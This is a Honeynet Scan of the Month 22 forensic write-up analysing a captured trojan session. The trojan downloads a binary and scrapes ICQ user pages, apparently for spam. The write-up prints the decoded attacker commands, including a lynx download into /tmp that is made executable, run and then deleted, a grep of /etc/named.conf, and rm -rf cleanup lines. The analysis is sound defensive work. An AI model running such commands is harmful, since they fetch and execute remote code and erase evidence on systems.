Honeynet Scan of the Month 22

Honeynet Scan of the Month 22 analysed by Dave Long

High level Analysis from first pass using Ethereal (www.ethereal.com)

[MD5 check OK!]

Packets 1-6

Ping traffic which I'd probably have ignored completely if you hadn't taken the trouble to obscure the address, as witnessed by the bad IP checksum, good ICMP checksum and unrouteable (RFC1918) remote address. Maybe some sort of message announcing availability for command processing, or just a safety check to make sure it isn't firewalled in? In any case, it looks just like normal ping traffic to me.

Packets 7-8

Incoming remote control commands, likely from spoofed source addresses

Packets 9-28

Reply to commands plus a bunch of 'chaff' to help hide the real destination. One of these addresses is likely the attacker, probably find out when I decode the commands.

Packets 62-3 and 72

More commands and/or ACKs

Packets 73-528

HTTP download of executable 'foo' from, again with obfuscated address (

Packets 529-530

Two packet UDP conversation with, port 53413. Attacker sends back 9207100 in ASCII.

Packets 533 onwards

Visits to web.icq.com to various people's messaging services by foo (which contains strings relating to web.icq.com). Seems to be scanning ICQ IDs (UINs) sequentially starting at 9207100 (see previous), presumably looking for something.

Packets 1236-7 and 1282

More commands from attacker

More detailed analysis, focusing on the questions

Didn't have a Linux box or C compiler handy so took the C source from http://project.honeynet.org/scans/scan22/decoder.c and converted it into Perl script to operate on the print output from Ethereal. The decoded commands and responses looked like this (ignoring junk and "chaff" replies):
020x01 0xcb 0xad 0x90 0x32
03grep -i "zone" /etc/named.conf

zone "." {
zone "0.0.127.in-addr.arpa" {
07killall -9 ttserve
07killall -9 ttserve

killall -9 ttserve ;
lynx -source > /tmp/ttserve ;
chmod 755 /tmp/ttserve ;
cd /tmp ;
./ttserve ;
rm -rf /tmp/ttserve ./ttserve ;
(Line breaks inserted after semicolons for clarity)
07killall -9 lynx ; rm -rf /tmp/ttserve;
07killall -9 lynx ; rm -rf /tmp/ttserve;
07killall -9 lynx ; rm -rf /tmp/ttserve;

Q.1 What is the attacker's IP address?

As guessed in the first pass, it is one of the addresses replied to and if you decimalise the parameters passed in the first command (less the first byte) you get - reverse DNS gives p50-tnt7.syd.ihug.com.au.

Q.2 What is the attacker doing first?

Searching for DNS zone entries, possibly in an additional attempt to identify who owns the compromised machine if reverse DNS and whois were not helpful.

Q.3 Why do some packets have readable stuff and others not?

The attacker and trojan seem to talk using (part of) 402-byte chunks but the trojan allocates a bigger buffer, probably using it for other stuff, and can't be bothered to clean it out before sticking its reply in, so there's command-line stuff on the end. This stuff appears to relate to the Trojan's previous operations.

Q.4 What is the purpose of foo?

To judge by the results, "foo" scans messaging centres at web.icq.net, one channel at a time, presumably looking for something. Not being a programmer (beyond simple Perl utilities) I couldn't really say what it is doing with the HTML it gets back, maybe just extracting a list of active UINs. I'd guess that the programmer was not too hot, since:

1) There was no attempt to obscure the URL in the binary, risking detection by string-matching IDS.

2) The ICQ UINs were scanned sequentially and in quick succession, again risking IDS detection. (Although admittedly this does minimise the lifetime of the rogue process so is not all bad).

3) The HTML GET request was re-issued even when the first attempt was successful.

Q.5 What is the purpose of "./ttserve ; rm -rf /tmp/ttserve"?

Starts the HTTP-downloaded "foo" program, which runs as the "ttserve" process, and deletes the program from disk to minimize "hard" traces, i.e. it only exists in memory so will be lost on crash or reboot.

Q.6 How will attacker use results of foo?

The only consistent info retrieved seemed to be a list of which UINs are still active. Searching Google (www.google.co.uk) showed references to a ttserve ([email protected]) as a source of spam email. This suggested the possibility of ICQ spamming, (maybe using the likes of ICQ Spoofer), for which a list of active UINs would be useful. Some of the pages have other potentially useful information, such as email address, phone number, hobbies and interests which could be useful in targeting the spam more precisely.

Q.7 Would I have caught the activity?

Sort of! I read the results of the Reverse Challenge a while back and added IDS rules for IP protocol 11. However this was just a belt-and- braces thing as my Internet router filters would drop and log any such packets, so I'd only ever see a record of dropped protocol 11 packets from the router's syslog entries (which I parse for oddities using Perl scripts most work mornings) and would get no details of contents.

PS. Thanks to Larry Wall and anyone else connected with Perl for saving my reputation/career/sanity more times than I care to remember, but especially the fine folks at Active State for keeping us poor Windozers in the loop.